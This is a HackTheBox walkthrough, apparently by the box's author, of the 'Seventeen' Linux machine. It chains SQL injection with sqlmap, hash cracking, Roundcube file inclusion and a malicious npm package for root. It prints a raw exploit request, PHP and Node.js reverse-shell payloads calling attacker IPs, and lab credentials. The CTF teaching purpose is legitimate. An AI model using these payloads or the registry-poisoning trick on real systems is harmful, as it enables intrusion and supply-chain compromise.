Seventeen — Hackthebox walkthrough
Seventeen, a Hard, Linux box on Hackthebox which was my 3rd box that showcased some interesting vulnerabilities.
Foothold
Doing our nmap, we see 3 ports open.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2e:b2:6e:bb:92:7d:5e:6b:36:93:17:1a:82:09:e4:64 (RSA)
| 256 1f:57:c6:53:fc:2d:8b:51:7d:30:42:02:a4:d6:5f:44 (ECDSA)
|_ 256 d5:a5:36:38:19:fe:0d:67:79:16:e6:da:17:91:eb:ad (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Let's begin your education with us!
8000/tcp open http Apache httpd 2.4.38
| http-methods:
|_ Supported Methods: POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 403 Forbidden
Service Info: Host: 172.17.0.11; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Looking at port 80 we see a static webpage.
Also we see a domain name as, seventeen.htb
which we can add to our hosts file. Adding this to the hosts config file and doing some vhost fuzzing, we can find out a vhost as exam.seventeen.htb
ffuf -H 'Host: FUZZ.seventeen.htb' -u 'http://seventeen.htb' -w raft-small-directories-lowercase.txt -fw 3118
Adding the entry to the hosts config file again and visiting the site, we see a Exam Manegment System
Looking for public exploits for this in exploitdb, we see there are 2 exploits. One is an authenticated RCE and the other is SQLi.
Since we don’t have credentials to access the admin panel, we can go for SQLi first.
Looking at the exploit, we see id
parameter is vulnerable. So we can feed the URL to sqlmap
and see what we get.
sqlmap --url 'http://exams.seventeen.htb/?p=take_exam&id=1' --risk=3
Just as mentioned in the exploit, sqlmap
found that id
parameter is vulnerable to boolean-based blind SQLi. Now we can enumerate the database step by step.
First, we can list the databases.
sqlmap --url 'http://exams.seventeen.htb/?p=take_exam&id=1' --risk=3 --dbs
Then we can dump the contents of the databases. With a bit of enumeration, we can find some password hashes of users.
sqlmap --url 'http://exams.seventeen.htb/?p=take_exam&id=1' --risk=3 -D db_sfms --tables
sqlmap --url 'http://exams.seventeen.htb/?p=take_exam&id=1' --risk=3 -D db_sfms -T student --dump
Using hashcat
we can crack the hash for Kelly
student.
hashcat -m 0 hash.txt rockyou.txt
We get the password as autodestruction
.
Looking at the avatar
field, we can see the location of the image is specified as ../oldmanagement/files/avatar.png
. Since web applications are usually hosted in /var/www/
directory, maybe oldmanagement.seventeen.htb
could be another vhost which we weren’t able to find out by vhost fuzzing.
Adding that to the hosts file and visiting, we see another site.
Noticing the year at bottom left, seems like this is an old file management system. We are asked to log in with a student number and a password. We can use the password we recovered from hashcat
with the ID of the Kelly
to log in to the application.
Now we can log in with the username and the password we got from the database.
id : 31234
pass: autodestruction
Looking at the files, we see there is a file called Marksheet-finals.pdf
.
We can download it to see what it sees. Looking at the PDF, we see it’s a Mark sheet of Kelly Shane. At the bottom we can see a notice from the teacher.
He asks her to contact the teacher through their new webmail. We find a new vhost as https://mastermailer.seventeen.htb/
Adding this to our host’s config and visiting the site, we get a login page.
If you can’t say by the looks, you can identify this as Roundcube
by looking at the page source.
Trying some default credentials don’t work. So we can try looking at CVEs for this. But we don’t know the version of the Roundcube running. In the notice we found in the PDF files, we saw the TIC mentioned that this is a newly added webmail. Also, we can see the date when the PDF was uploaded to the file management server.
Seems like the file was uploaded around 2020, January. If we do a quick google search for the 2020–0 roundcube releases
we can find version 1.4.2
was released around that time.
Now that we have a possible version of Roundcube, we can try looking for vulnerabilities for the version. We can find a couple of them. One of them being PHP file inclusion enabling remote code execution
Looking at the exploit, this requires the installer to be present in the server. We can confirm it’s there by visiting /installer
Reading through the vulnerability, we can see it’s exploitable as _plugin_<name>
parameters do not perform sanitization/input filtering. So we can use something like ../../../../../../path/to/plugin
and include a PHP file.
We also have the ability to upload PHP files from the file management application. But one problem arises. If you look at the exploit POC closely, it states:
Note: By viewing the error logs, we can see that Roundcube now tries to load the “/var/www/html/roundcube/plugins/../../../../../../dev/shm/zipdownload/../../../../../../dev/shm/zipdownload.php” file, which resolves to “/dev/shm/zipdownload.php”.
So when we use ../../../../../../dev/shm/zipdownload
as our payload the application is trying to include /var/www/html/roundcube/plugins/../../../../../../dev/shm/zipdownload/../../../../../../dev/shm/zipdownload.php
. The thing to note here is that the PHP file and the directory we specify have to be in the same directory. The tree
command from the POC mentions this as well.
Since the file management application is open source, we can review the source code and see how the application is handling and saving the uploaded files.
Looking at the save_file.php
file, we can see the files are saved in /files/<stud_id>/
If we upload a file (a.txt
) as Kelly, it is saved as /files/31234/a.txt
. This is a problem. Even we are able to upload a PHP file to a known location, we can’t settle it to fit to the exploit.
That is because if we provide our payload as ../../../../../var/www/html/oldmanagement/files/31234
the application will include ../../../../../var/www/html/oldmanagement/files/31234.php
. Since we can’t upload files to a /files
, this won’t work.
But if you look at the notice again, we see the TIC mentioning some papers being stored in the server.
Maybe there is a directory in /files/31234
that we can use. If we visit there we get 403 Forbidden.
But if we try to access a non-existing resource like /files/31234/asdasd
we do get 404.
So we have a way to bruteforce the directories. Now we can use ffuf
to fuzz for existing directories.
ffuf -u http://oldmanagement.seventeen.htb/oldmanagement/files/31234/FUZZ -H 'Cookie: PHPSESSID:khgb8b2opnvth4r5avslvr4qd2' -w wordlist -fc 404
And we get a directory as papers
. Since there is a such a directory there, now we can use a payload as ../../../../../var/www/html/oldmanagement/files/31234/papers
which will result in including ../../../../../var/www/html/oldmanagement/files/31234/papers.php
.
After putting all the pieces together, the process to exploit this is as follows.
- First we have to make a PHP file and name it
papers.php
echo '<? system('id'); ?>' > papers.php
2. Then we have to upload it to the file management application.
4. Then following the POC, we have to inject the LFI payload to the config file.
POST /installer/index.php HTTP/1.1
Host: mastermailer.seventeen.htb
Content-Length: 135
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://mastermailer.seventeen.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36_step=2&_product_name=Seventeen+Webmail&_plugins_qwerty=../../../../../../../../../var/www/html/oldmanagement/files/31234/papers&submit=UPDATE+CONFIG
5. Then when we visit any page, our PHP file should be included giving us the output of the id
command.
Now we can replace id
in our payload get a reverse shell.
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.15/9090 0>&1'"); ?>
User
Seems like we are inside a docker container. Looking at the /var/www/html
dir, we can see a ems
directory.
Looking at that directory, it seems like its a Employee Management System. Poking around, we can find the db credentials from ems/process/dbh.php
Also looking at the home /etc/passwd
we can see there is a user called mark
We can assume that this user exists in the docker host as well and try to ssh with the password we found.
USER: mark
PASS: 2020bestyearofmylife
And yes, now are in the host as mark
user.
Looking at the open ports, we see lot of ports are open. Among them is port 4873
. Since other ports are such 110
, 995
are related to the IMAP server and the POP3 server that Roundcube instance uses, we can start identifying what is running on 4873
We can make a tunnel and see what is running on that port. We can use ssh
for that.
ssh -L 4873:127.0.0.1:4873 -N -vv mark@seventeen.htb
Visiting 127.0.0.1:4873
we see some kind of node package index.
Looking at the title we can confirm that it’s running Verdaccio
Verdaccio is a simple, zero-config-required local private npm registry. Most companies maintain a private registry to store their source code locally without publishing them to the public registry.
But here we don’t see any packages listed. Looking at the /var/mail/
, we see a mail to kavi
Here the Mike user mentions about a new staff management system. Looking at /opt/app
we can find source code to a node application which seems to be the application there are talking about.
Looking at the source code in the index.js
file, we can see some external modules are being used. db-logger
is commented out.
This makes sense because, the mail mentions that this one is removed and replaced with loglevel
.
Even it mentions It’s removed from using in the application, maybe it’s not removed from the verdaccio registry. But we didn’t see it in the index right. The mail mentions some kind of error in the registry as well. Maybe it’s this. (If you look at the verdaccio github issues
we can find such an issue)
However, we can try to get the db-logger
module from the registry.
npm install db-logger --registry=http://127.0.0.1:4873
With this we are able to successfully install the module.
Looking at the source code of the db-logger
module, we can see there are some hard-coded credentials in there. (/node_modules/db-logger/logger.js
)
With this password, we can ssh in as the kavi
user.
USER: kavi
PASS: IhateMathematics123#
Root
As we saw in the mail, Mike
asks kavi
to test the application with the new loglevel
module. Also, he is supposed to publish the loglevel
module too. We can find the application in /opt/app
and a startup script called startup.sh
Looking at the source code, we can see that this will check to see if all the dependencies are installed and then run the app. Also, looking at the sudo permissions, we see, we can run this with sudo permissions.
So what we can do is, we can publish a module called loglevel
with a reverse shell in it. Then the script will install in and run it. But if we try to log in to the npm registry, we get an error saying user registration disabled
.
npm login
Therefore, we can’t just publish to the private registry like that.
If you look at the code block in the startup.sh
which is supposed to install the node package, we see it hasn’t mentioned a URL to the registry with --registry
.
So npm will get the registry from .npmrc
file in kavi
user’s home directory.
cat ~/.npmrc
Here what we can do is edit this file to point to a registry that we control and publish a package named loglevel
there. Then the script will install our packages and run what ever is inside.
First, we have to set up the private registry locally. There are a couple of ways to do this, but the easiest way is to use a docker container.
The above video goes over how we can install verdaccio in a docker container.
First we install docker in our local machine.
sudo apt install docker.io
Then we pull the verdaccio docker image
docker pull verdaccio/verdaccio
After, we can run it.
docker run -it — rm — name verdaccio -p 4873:4873 verdaccio/verdaccio
Now we should be able to access our npm registry. Then we have to create a malicious npm module that will give us a reverse shell. As we saw in the startup.sh
, it checks for 2 packages as db-logger
and loglevel
(Seems like Mark user forgot to remove the db-logger
dependency) . But if we look at the index.js
, we can see only loglevel
is used.
So our payload should be in the loglevel
module.
The above video goes over how we can create a npm package.
First, we create our JS file (logger.js
)
require("child_process").exec("bash -c 'bash -i >& /dev/tcp/192.168.1.3/9090 0>&1'")function log(msg) {
console.log("[+] " + msg)
}module.exports.log = log
Just to be safe, I added a dummy function called log
to not to crash the application just after our reverse shell is called. The reason why I called the function log
is because in the index.js
file, that’s the first method that is called if there is no error.
Now we can start initializing our module.
npm init
Then a package.json
file should be created.
After we can publish the package. For that, we have to add a user first.
npm adduser --registry http://localhost:4873
Then we can just publish it. (Make sure you are in the directory which your package.json
is when you publish it)
npm publish --registry http://localhost:4873
Now, if we visit the web UI, we can see our published package.
Now we can edit the ~/.npmrc
file and set the registry to point to our registry.
Now all that’s left to do is to start a listener and run the startup.sh
sudo /opt/app/startup.sh
When I run the script, it installed our malicious loglevel
package and run the app.
And then I got a shell on my listener as root.
This box had a lot of unintended which wrecked the experience that this was supposed to give leading most players to dislike the box. Nevertheless, I did my very best to present something interesting to the hackthebox community.
I am very grateful for everyone who gave me not just positive but also negative feedback on the box as that really does help to improve myself. Hope I will be able to do a better job in my next submissions!
Contact me through social media:
Email — iamkavigihan@gmail.com
Instagram — https://www.instagram.com/_kavi.gihan/
Discord — kavigihan#8518
Happy Hacking !!! 😄